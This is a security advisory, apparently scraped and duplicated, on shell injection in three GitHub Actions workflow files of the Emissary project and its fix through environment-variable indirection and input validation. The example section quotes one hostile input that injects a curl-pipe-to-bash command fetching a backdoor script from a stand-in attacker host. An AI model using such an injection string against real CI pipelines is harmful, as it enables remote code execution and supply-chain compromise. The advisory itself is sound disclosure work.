Summary
Three GitHub Actions workflow files contained 10 shell injection points where
user-controlled workflow_dispatch inputs were interpolated directly into shell
commands via ${{ }} expression syntax. An attacker with repository write access
could inject arbitrary shell commands, leading to repository poisoning and supply
chain compromise affecting all downstream users.
Affected Files
| Workflow file |
Injection points |
.github/workflows/maven-version.yml |
4 |
.github/workflows/cherrypick.yml |
5 |
.github/workflows/maven-release.yml |
1 |
Details
GitHub Actions ${{ }} expressions inside run: blocks are substituted before
the shell interprets the command. When a workflow_dispatch input is placed directly
in a run: block, an attacker who can trigger the workflow can break out of the
intended command and execute arbitrary code.
Example — maven-version.yml (before fix)
- name: Set the name of the branch
run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo "
would be interpolated directly into the shell, executing arbitrary commands with
the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).
Impact
- Arbitrary code execution within the CI/CD runner
- Repository modification via the
contents: write token (push malicious commits)
- Supply chain poisoning — downstream users who clone or build receive compromised code
- Credential exfiltration from the GitHub Actions environment
Remediation
Fixed in two PRs merged into release 8.39.0:
PR #1286 — Environment variable indirection
Replaced all direct ${{ inputs.* }} interpolation in run: blocks with
environment variable indirection. Inputs are assigned to env: at the step level,
then referenced as shell variables inside run:.
# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
env:
IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}PR #1288 — Input validation
Added strict regex validation steps that run before any input is used:
maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$
All jobs now also use shell: bash via defaults.run.shell to ensure consistent
shell behavior.
Workarounds
There is no workaround other than upgrading. Organizations that have forked
Emissary should apply the same environment variable indirection and input
validation patterns to their workflow files.
References
References
BrennanTM Reporter
Summary
Three GitHub Actions workflow files contained 10 shell injection points where
user-controlled
workflow_dispatchinputs were interpolated directly into shellcommands via
${{ }}expression syntax. An attacker with repository write accesscould inject arbitrary shell commands, leading to repository poisoning and supply
chain compromise affecting all downstream users.
Affected Files
.github/workflows/maven-version.yml.github/workflows/cherrypick.yml.github/workflows/maven-release.ymlDetails
GitHub Actions
${{ }}expressions insiderun:blocks are substituted beforethe shell interprets the command. When a
workflow_dispatchinput is placed directlyin a
run:block, an attacker who can trigger the workflow can break out of theintended command and execute arbitrary code.
Example —
maven-version.yml(before fix)A malicious input such as
1.0.0"; curl attacker.com/backdoor.sh | bash; echo "would be interpolated directly into the shell, executing arbitrary commands with
the job's
GITHUB_TOKENpermissions (contents: write,pull-requests: write).Impact
contents: writetoken (push malicious commits)Remediation
Fixed in two PRs merged into release 8.39.0:
PR #1286 — Environment variable indirection
Replaced all direct
${{ inputs.* }}interpolation inrun:blocks withenvironment variable indirection. Inputs are assigned to
env:at the step level,then referenced as shell variables inside
run:.PR #1288 — Input validation
Added strict regex validation steps that run before any input is used:
maven-version.yml: Validatesnext_versionmatches^[a-zA-Z0-9._-]+$maven-release.yml: Validatesrelease_suffixmatches^[a-zA-Z0-9._-]+$cherrypick.yml: Validatescommitsmatches^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$All jobs now also use
shell: bashviadefaults.run.shellto ensure consistentshell behavior.
Workarounds
There is no workaround other than upgrading. Organizations that have forked
Emissary should apply the same environment variable indirection and input
validation patterns to their workflow files.
References
References